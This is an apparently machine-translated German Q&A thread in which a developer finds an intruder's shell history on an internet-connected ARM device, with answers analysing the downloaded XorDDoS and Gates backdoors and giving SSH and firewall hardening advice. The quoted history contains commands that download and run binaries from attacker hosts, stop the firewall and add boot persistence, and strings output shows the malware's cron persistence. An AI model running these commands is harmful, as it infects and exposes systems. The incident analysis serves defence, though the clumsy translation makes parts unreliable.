Frage Wurde ich gerade gehackt?


Ich entwickle ein Konsumprodukt, und es soll mit dem Internet verbunden sein, so wie es erwartet wird, ist es mit dem Internet verbunden, damit ich es richtig entwickeln kann.

Ich ging für ein oder zwei Stunden weg, und als ich in mein Büro zurückkam, bemerkte ich einige seltsame Befehle, die im Terminal geschrieben waren.

Blick auf die Linux-Log-Datei namens auth.log Ich kann die folgenden Zeilen (neben vielen anderen) sehen:

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Die IP-Adresse 40.127.205.162 erweist sich im Besitz von Microsoft.

Hier sind ein paar Befehle, die während meiner Abwesenheit verwendet wurden:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Und mehr:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Das war mir völlig unbekannt. Wie kann ich mein Produkt ordnungsgemäß sichern?

Ich möchte das komplette posten auth.log Datei. Wie mache ich das?

Auch die Datei yjz1 das heruntergeladen wurde, scheint ein Linux-Trojaner zu sein und all das scheint von einer Art Hacker - Gruppe gemacht zu werden http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Soll ich Microsoft anrufen und mit ihnen reden? Was soll ich machen?


482
2018-02-01 11:21


Ursprung


Ja, das sieht nicht gut aus. Ich bin kein Linux-Experte, aber irgendwas hat definitiv versucht, dort auszuführen. Ich bin mir nicht ganz sicher, ob es so aussieht, als ob es sich versucht hat, sich als root anzumelden und gescheitert ist. Gibt es noch andere Protokolle in Ihrem auth.log? Irgendein anderes Mittel der Fernverwaltung? Ich habe gesehen, dass Macs mit aktiviertem VNC-Server vorher gehackt wurden, obwohl dies wie ein SSH-Versuch aussieht. Sieht so aus, als ob die IPs, von denen er heruntergeladen wurde, irgendwo in China gehostet werden. - Jonno
Du wurdest brutal gezwungen. Aus diesem Grund lässt man keinen ssh-Server im Internet, selbst wenn man ein Passwort hat. Alles, was zu wenig Key Authentic ist, ist heutzutage nicht sicher genug. - Journeyman Geek♦
Nun, wir haben Sicherheit.stackexchange.com. Aber zuerst einmal zuerst: Der kompromittierte Host kann nicht länger vertrauenswürdig sein. Nimm es aus dem Netzwerk. Wenn möglich, machen Sie eine Sicherungskopie, damit Sie recherchieren können, was getan wurde und wie es gemacht wurde. Als nächstes installieren Sie das Betriebssystem von einer sauberen Quelle neu. Wiederherstellen von Daten aus Sicherungen Sichern Sie das System damit du nicht wieder infiziert wirst. Herauszufinden, wie sie hineingekommen sind, wird dringend empfohlen. (Daher die Empfehlung, eine Kopie des infizierten Systems zu erstellen). - Hennes
Zu Ihrer Information: 40.127.205.162 ist ein Microsoft Azure IP-Adresse gemäß GeoIP. Folglich können Sie Microsoft nicht für den Angriff verantwortlich machen - es ist gleichbedeutend damit, Amazon dafür verantwortlich zu machen, dass jemand EC2 für Spam verwendet hat. Das einzige, was Microsoft wirklich tun kann, ist, die Angreifer von Azure zu stoßen, aber sie werden in kürzester Zeit wieder auf einer anderen Cloud-Plattform sein. - nneonneo
Wenn dies in Ihrem Terminal geschrieben wurde, sitzt der Hacker wahrscheinlich in der nächsten Zelle. - isanae


Antworten:


BEARBEITEN 2:

Es gibt einen guten Grund, warum dieser Beitrag so viel Aufmerksamkeit auf sich zieht: Sie haben es geschafft, die gesamte Live-Sitzung eines Eindringlings auf Ihrem PC aufzuzeichnen. Dies unterscheidet sich sehr von unserer alltäglichen Erfahrung, bei der es darum geht, die Folgen seiner Handlungen zu entdecken und zu versuchen, sie zu beheben. Hier sehen wir ihn bei der Arbeit, sehen, wie er ein paar Probleme damit hat, die Hintertür zu bauen, seine Schritte zurückzuverfolgen, fieberhaft zu arbeiten (vielleicht weil er an Ihrem Schreibtisch saß, wie oben angedeutet, oder vielleicht, und meiner Meinung nach wahrscheinlicher, weil er es war) nicht in der Lage sein, seine Malware auf dem System laufen zu lassen, lesen Sie weiter unten), und versuchen Sie, vollständig unabhängige Kontrollinstrumente zu implementieren. Das beobachten Sicherheitsforscher täglich mit ihren Honigfallen. Für mich ist das eine sehr seltene Chance und die Quelle für etwas Vergnügen.


Sie wurden definitiv gehackt. Der Beweis dafür ist nicht kommen aus dem Schnipsel der auth.log Datei, die Sie angezeigt haben, da dies einen erfolglosen Anmeldeversuch meldet, der über eine kurze Zeitspanne (zwei Sekunden) erfolgt. Sie werden feststellen, dass die zweite Zeile angibt Failed password, während der dritte berichtet a pre-auth trennen: Der Typ hat versucht und ist gescheitert.

Die Beweise stammen stattdessen aus dem Inhalt der beiden Dateien http://222.186.30.209:65534/yjz und http://222.186.30.209:65534/yjz1 welche der Angreifer auf Ihr System heruntergeladen hat.

Die Seite ist derzeit für jedermann zugänglich, um sie herunterzuladen, was ich getan habe. Ich bin zuerst gelaufen file auf ihnen, die zeigten:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Dann brachte ich sie auf eine 64-Bit-Debian-VM, die ich habe; eine Überprüfung ihres Inhalts durch die strings Befehl enthüllte viel, was verdächtig war (Verweis auf verschiedene bekannte Angriffe, auf Befehle, die ersetzt werden sollten, ein Skript, das eindeutig zum Einrichten eines neuen Dienstes verwendet wurde, und so weiter).

Ich produzierte dann die MD5-Hashes beider Dateien und fütterte sie Cymru ist Hash-Datenbank, um zu sehen, ob sie bekannte Agenten von Malware sind. Während yjzist nicht, yjz1 ist, und Cymru meldet eine Erkennungswahrscheinlichkeit von Antivirensoftware von 58%. Es gibt auch an, dass diese Datei zuletzt vor drei Tagen gesehen wurde, also ist es relativ neu.

Laufen Venusmuscheln (Teil der clamav Paket) zu den zwei Dateien, die ich erhalten habe:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

Wir sind uns jetzt sicher, dass Standard-Linux-Software es identifizieren kann.

Was sollte man tun? 

Obwohl ziemlich neu, ist kein System sehr neu, Siehe diesen Januar 2015 Artikel auf XorDdos, zum Beispiel. Daher sollten die meisten kostenlosen Pakete es entfernen können. Du solltest es versuchen: clamav, rkhunter, chkrootkit. Ich habe gegoogelt und gesehen, dass sie behaupten, es zu erkennen. Verwenden Sie sie, um die Arbeit des Vorgängers zu überprüfen, aber nachdem Sie diese drei Programme ausgeführt haben, sollten Sie bereit sein zu gehen.

Was die größere Frage betrifft, what should you do to prevent future infectionsDie Antwort des Gesellen ist ein guter erster Schritt. Denken Sie nur daran, dass es ein andauernder Kampf ist, den wir alle (einschließlich mir!) Sehr wohl verloren haben, ohne es überhaupt zu wissen.

BEARBEITEN:

Bei Viktor Toths (indirekter) Aufforderung möchte ich einige Anmerkungen hinzufügen. Es ist sicherlich wahr, dass der Eindringling einige Schwierigkeiten hatte: Er lädt zwei verschiedene Hacker-Tools herunter, ändert seine Berechtigungen mehrmals, startet sie mehrere Male neu und versucht oft, die Firewall zu deaktivieren. Es ist leicht zu erraten, was passiert: Er erwartet, dass seine Hacker-Tools einen Kommunikationskanal zu einem seiner infizierten PCs öffnen (siehe später), und befürchtet, dass er diesen Hack hackt, wenn er diesen neuen Kanal nicht auf seiner Steuerungs-GUI sieht Tool wird von der Firewall blockiert, so dass er den Installationsvorgang wiederholt. Ich stimme Viktor Toth zu, dass dieser besondere Abschnitt seiner Operation nicht die erwarteten Früchte bringt, aber ich möchte Sie ermutigen sehr stark das Ausmaß des Schadens, der deinem PC zugefügt wurde, nicht zu unterschätzen.

Ich biete hier eine Teilausgabe von strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Dies weist auf Manipulationen an den Diensten hin ( /etc/init.d und in /etc/rc.d), mit crontab, mit der Verlaufsdatei von mysqlund ein paar Dateien in proc welche sind Links zu bash (was darauf hindeutet, dass eine benutzerdefinierte betrügerische Version Ihrer Shell gepflanzt wurde). Dann erzeugt das Programm eine HTTP-Anfrage (zu einer chinesischsprachigen Seite,

 Accept-Language: zh-cn

was den Kommentar von David Schwartz begründet), der noch mehr Chaos verursachen kann. In der Anfrage, Binärdateien (Content-Type: application/x-www-form-urlencoded) auf den angegriffenen PC (GET) heruntergeladen und auf den steuernden Rechner (POST) hochgeladen werden. Ich konnte nicht feststellen, was auf den angegriffenen PC heruntergeladen werden würde, aber angesichts der geringen Größe von beidem yjz und yjz1 (1,1MB bzw. 600kB), kann ich vermuten, dass die meisten Dateien benötigt werden, um das Rootkit zu verschleiern, d.h. die veränderten Versionen von ls, netstat, ps, ifconfig, ..., würde auf diese Weise heruntergeladen werden. Und das würde die fieberhaften Versuche des Angreifers erklären, diesen Download in Gang zu bringen.

Es gibt keine Gewissheit, dass das obige alle Möglichkeiten ausschöpft: Es fehlt uns sicherlich ein Teil des Transkripts (zwischen den Zeilen 457 und 481) und wir sehen keine Abmeldung; besonders besorgniserregend sind die Zeilen 495-497,

cd /tmp;  ./yd_cd/make

die sich auf eine Datei beziehen, die wir nicht heruntergeladen haben und welche Macht sei eine Kompilation: Wenn ja, bedeutet das, dass der Angreifer (endlich?) verstanden hat, was das Problem mit seinen ausführbaren Dateien war und versucht, es zu beheben, in welchem ​​Fall der angegriffene PC für immer verschwunden ist. [Tatsächlich sind die zwei Versionen der Malware, die der Angreifer auf die gehackte Maschine heruntergeladen hat (und ich auf meine 64-Bit-Debian-VM), für eine ungeeignete Architektur, x86, während der Name allein des gehackten PCs die Tatsache preisgibt, dass er beschäftigte sich mit einer Armarchitektur].

Der Grund, warum ich diesen Schnitt geschrieben habe, ist, Sie so stark wie möglich zu drängen, entweder Ihr System mit einem professionellen Instrument zu kämmen oder von Grund auf neu zu installieren.

Und sollte sich dies für irgendjemanden als nützlich erweisen, dann ist dies die Liste der 331 IP-Adressen, zu denen yjz versucht sich zu verbinden. Diese Liste ist so groß (und wahrscheinlich dazu bestimmt, noch größer zu werden), dass ich glaube, dass dies der Grund für die Manipulation ist mysql. Die Liste, die von der anderen Hintertür zur Verfügung gestellt wird, ist identisch, was, ich nehme an, der Grund ist, solch eine wichtige Information offen zu lassen (I denken der Angreifer wollte sich nicht die Mühe machen, sie im Kernel-Format zu speichern, also legte er die ganze Liste in eine Klartext-Datei, die wahrscheinlich von allen Backdoors eingelesen wurde, für welches Betriebssystem auch immer):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Der folgende Code

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

auf der obigen Liste zeigt das 302 von insgesamt 331 Adressen befinden sich in Festlandchina, die übrigen in Hongkong, der Mongolei, Taiwan. Dies unterstützt David Schwartz's Behauptung, dass dies hauptsächlich ein chinesischer Bot-Ring ist.

BEARBEITEN 3

Auf Anfrage von @ vaid (der Autor des OP, lies seinen Kommentar unten) werde ich einen Kommentar hinzufügen, wie die Sicherheit eines Linux-Grundsystems verbessert werden kann (für ein System, das viele Dienste anbietet, ist dies ein viel komplexeres Thema). vaid sagt er hat folgendes getan:

  1. Installieren Sie das System neu

  2. Root-Passwort in ein 16 Zeichen langes Passwort mit gemischten Groß- und Kleinbuchstaben und Zeichen und Ziffern geändert.

  3. Der Benutzername wurde in einen langen Benutzernamen mit 6 gemischten Zeichen geändert und das gleiche Passwort wie für root verwendet

  4. SSH Port wurde auf etwas über 5000 geändert

  5. SSH-Root-Login deaktiviert.

Das ist in Ordnung (außer ich benutze einen Port über 10.000, da viele nützliche Programme die Ports unter 10.000 verwenden). Aber Ich kann nicht genug betonen, dass kryptografische Schlüssel für die ssh-Anmeldung benötigt werden, anstelle von Passwörtern. Ich werde dir ein persönliches Beispiel geben. Bei einem meiner VPS war ich unsicher, ob ich den ssh-Port ändern sollte; Ich habe es bei 22 gelassen, aber Kryptoschlüssel für die Authentifizierung verwendet. ich hatte Hunderte von Einbruchsversuchen pro TagEs ist keinem gelungen. Wenn ich müde war, jeden Tag nachzusehen, dass niemand erfolgreich war, wechselte ich irgendwann den Port auf etwas über 10.000, die Einbruchsversuche gingen auf Null zurück. Wohlgemerkt, Hacker sind nicht dumm (sie sind es nicht!), Sie jagen einfach leichter Beute.

Es ist einfach, einen Kryptoschlüssel mit RSA als Signaturalgorithmus zu aktivieren, siehe Kommentar von Jan Hudec (danke!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Jetzt müssen Sie nur noch die Datei kopieren id_rsa an die Maschine, von der Sie eine Verbindung herstellen möchten (in einem Verzeichnis .ssh, ebenfalls chmod'ed auf 700), dann geben Sie den Befehl aus

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Wenn Sie sicher sind, dass dies funktioniert, bearbeiten Sie die Datei auf dem Server (= dem Computer, mit dem Sie eine Verbindung herstellen möchten) /etc/ssh/sshd_config, und ändern Sie die Zeile

#PasswordAuthentication yes

zu

PasswordAuthentication no

und starte das Programm neu ssh Bedienung (service ssh restart oder systemctl restart sshoder so, je nach Distro).

Das wird viel aushalten. Tatsächlich gibt es derzeit keine bekannten Exploits gegen die aktuellen Versionen von openssh v2und von RSA wie von openssh v2.

Um Ihren Computer wirklich zu verschmelzen, müssen Sie die Firewall (netfilter / iptables) wie folgt konfigurieren:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Dies, 1) ermöglicht SSH-Verbindungen von LAN und WAN, 2) ermöglicht alle Eingaben, die von Ihren Anforderungen stammen (zum Beispiel wenn Sie eine Webseite laden), 3) alles andere auf der Eingabe ablegt, 4) alles erlaubt die Ausgabe und 5-6) erlaubt alles auf der Loopback-Schnittstelle.

Wenn Ihre Anforderungen steigen und mehr Ports geöffnet werden müssen, können Sie dies tun, indem Sie oben in der Liste die folgenden Regeln hinzufügen:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

um beispielsweise Personen den Zugriff auf Ihren Webbrowser zu ermöglichen.


477
2018-02-01 16:05



Das war großartig zu lesen. Ich habe auch die Datei ausprobiert yjz1 durch Google VirusTotal.com was gab ein positives. Das habe ich nicht mal gesehen yjzwurde heruntergeladen. Vielen Dank. - vaid
Sei vorsichtig beim Laufen strings auf nicht vertrauenswürdigen Daten. lcamtuf.blogspot.com/2014/10/... - Matt Nordhoff
@MattNordhoff Danke, dass du das aufgezeigt hast, ich war mir glücklicherweise nicht bewusst. Auf meinem Debian übergibt der Befehl "strings" jedoch den von Ihnen verlinkten Test mit Bravour. Ich nehme an, dies ist aufgrund der Tatsache, dass das Handbuch heißt: -a ... Normalerweise ist dies das Standardverhalten. Prost. - MariusMatutiae
Diese Antwort zeigt einen Ansatz, der ein Paradigma sein sollte: 1. Lass deine Aufmerksamkeit nicht durch fehlgeschlagene Versuche abgelenkt werden, sei gewarnt. 2. Individualisieren Sie die erfolgreichen Aktionen des Angreifers. 3. Studiere, was und wie der Angreifer gemacht hat. 4. Installieren Sie alle von Grund auf oder von der letzten unbeschädigten (angegriffenen) Sicherung und fügen Sie die benötigten zusätzlichen Schutzmaßnahmen hinzu, die Sie gefunden haben (Punkt 3). 5. Hilf den anderen, sich selbst zu schützen (die Liste der kompromittierten / verdächtigen IP). - Hastur
[Redaction nach Kommentar von @MariusMatutiae] - Dennoch sollte das OP erkennen, dass auf einem kompromittierten System, jeden ausführbare Datei muss als böswillig betrachtet werden, auch die Shell, ls, who oder irgendetwas anderes. "Daten retten" unter Verwendung irgendeiner ausführbaren Datei auf dem kompromittierten System (z.B. scp oder rsync) könnte noch mehr Maschinen kompromittieren. - Dubu


Willkommen im Internet - wo jeder offene SSH-Server wahrscheinlich sondiert, rohe Gewalt wird und ihm verschiedene Demütigungen zugefügt werden.

Um zu beginnen, müssen Sie den Speicher auf dem Produkt vollständig löschen. Image es, wenn Sie es für Forensik weitergeben möchten, aber die Linux-Installation darauf ist jetzt suspekt.

Etwas Rätselraten aber

  1. Du wurdest brutal gedrängt oder Verwenden Sie ein gemeinsames Passwort. Es ist Sicherheit durch Dunkelheit, aber Sie wollen kein Wörterbuch-Passwort oder Verwenden eines root-Kontos, das für SSH geöffnet ist. Deaktivieren Sie den Root-SSH-Zugriff, wenn es sich um eine Option handelt, oder ändern Sie den Namen zumindest so, dass beide erraten werden müssen. SSH als Root ist sowieso eine schreckliche Sicherheitspraxis. Wenn Sie root verwenden müssen, melden Sie sich als ein anderer Benutzer an und wechseln Sie mit su oder sudo.

  2. Je nach Produkt möchten Sie möglicherweise den SSH-Zugriff auf irgendeine Weise sperren. Eine totale Sperrung klingt nach einer guten Idee und ermöglicht es den Benutzern, sie zu öffnen wie benötigt. Abhängig davon, welche Ressourcen Sie verwenden können, sollten Sie nur IP-Adressen in Ihrem eigenen Subnetz oder eine Art von Registrierungsdrosselungssystem zulassen. Wenn Sie es nicht auf dem Endprodukt benötigen, stellen Sie sicher, dass es ausgeschaltet ist.

  3. Verwenden Sie einen nicht standardmäßigen Port. Sicherheit durch Dunkelheit wieder, aber es bedeutet, dass ein Angreifer Ihren Port anvisieren muss.

  4. Verwenden Sie niemals ein Standardkennwort. Der beste Ansatz, den ich gesehen habe, ist, ein Passwort für ein bestimmtes Gerät nach dem Zufallsprinzip zu generieren und es mit Ihrem Produkt zu versenden. Best Practice ist die Key-basierte Authentifizierung, aber ich habe keine Ahnung, wie Sie das auf einem Massenmarktprodukt angehen würden.


140
2018-02-01 13:24



5. Verwenden Sie, sofern möglich, die öffentliche Schlüsselauthentifizierung. Passwort Auth ist weit, weit weniger sicher. - Bob
Ja, aber wenn es ein Consumer-Gerät ist, ist es möglicherweise keine Option. Auf einer Dev-Box klingt das nach einer genialen Idee. Auf einem Server, nun, ich wurde schon mal gehackt; - Journeyman Geek♦
Wenn es Verbrauchergerät ist, dann ist das gleiche zufällige Kennwort oder Schlüssel auf allen von ihnen auch eine schlechte Idee. Alles basiert auf seiner Seriennummer, seinem MAC oder anderen identifizierbaren Informationen. (Etwas was viele SoHO Modem / Router / WAPs vermisst haben). - Hennes
Es ist ein Verbrauchergerät. Die große Mehrheit der anvisierten Verbraucher wird jedoch nicht ausreichend geschult sein, um zu wissen, was SSH ist. SSH kann also ausgeschaltet werden und wird wahrscheinlich ausgeschaltet. - vaid
Auch verwenden fail2ban. - Shadur


Oh, du wurdest definitiv gehackt. Jemand scheint Root-Anmeldeinformationen erhalten zu haben und versucht, einen Trojaner auf Ihr System herunterzuladen. MariusMatutiae lieferte eine Analyse der Nutzlast.

Zwei Fragen tauchen auf: a) War der Angreifer erfolgreich? Und was können Sie dagegen tun?

Die Antwort auf die erste Frage kann sei eine Nr. Beachten Sie, wie der Angreifer wiederholt versucht, die Payload herunterzuladen und auszuführen, anscheinend ohne Erfolg. Ich vermute, dass etwas (SELinux, vielleicht?) Ihm im Weg stand.

